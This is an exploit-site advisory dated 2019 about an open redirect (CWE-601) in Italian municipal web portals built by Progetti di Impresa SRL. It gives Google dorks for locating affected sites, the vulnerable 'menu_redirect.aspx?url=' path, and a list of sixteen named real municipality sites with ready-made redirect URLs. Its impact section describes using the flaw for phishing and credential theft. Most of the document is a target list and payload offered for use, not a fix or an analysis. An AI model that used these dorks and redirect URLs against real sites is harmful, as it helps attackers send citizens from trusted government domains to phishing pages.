####################################################################
# Exploit Title : Progetti di Impresa SRL ItalyGov Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/03/2019
# Vendor Homepage : progettidiimpresa.it
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Google Dorks :
intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright site:it
intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2019
intext:Portale internet realizzato da Progetti di Impresa Srl © 2014
intext:Portale internet realizzato da Progetti di Impresa Srl Copyright © 2012
intext:Portale internet realizzato da Progetti di Impresa Srl © 2011
intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2009
intext:Portale internet realizzato da Progetti di Impresa Srl - Copyright © 2007
intext:Rete civica realizzata da Progetti di Impresa srl © 2008
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Impact :
***********
Progetti di Impresa SRL Italy Government accepts a user-controlled
input that specifies a link to an external site, and uses that link in a Redirect.
This simplifies phishing attacks. An http parameter may contain a URL value
and could cause the web application to redirect the request to the specified URL.
By modifying the URL value to a malicious site, an attacker may successfully
launch a phishing scam and steal user credentials. Because the server name in the
modified link is identical to the original site, phishing attempts have a more
trustworthy appearance. Open redirect is a failure in that process that makes
it possible for attackers to steer users to malicious websites. This vulnerability is
used in phishing attacks to get users to visit malicious sites without realizing it.
Web users often encounter redirection when they visit the Web site of a company
whose name has been changed or which has been acquired by another company.
Visiting unreal web page user's computer becomes affected by malware
the task of which is to deceive the valid actor and steal his personal data.
####################################################################
# Open Redirection Exploit :
**************************
/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
####################################################################
# Example Vulnerable Sites :
*************************
* Italian Government Municipality WebSites are Vulnerable for Open Redirection. Put www. before address.
[+] pgt.comune.saronno.va.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] informagiovani.comune.forli.fc.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.adro.bs.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.montecatini-terme.pt.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.forlimpopoli.fc.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.grizzanamorandi.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.vergato.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.marzabotto.bo.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.rolo.re.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.quartodaltino.ve.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.ventimiglia.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.sommalombardo.va.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.desio.mb.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] comune.medolla.mo.it/servizi/Menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] presezzo.gov.it/servizi/menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
[+] vergiate.gov.it/servizi/Menu/menu_redirect.aspx?url=https://www.[REDIRECT-ADDRESS].gov
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################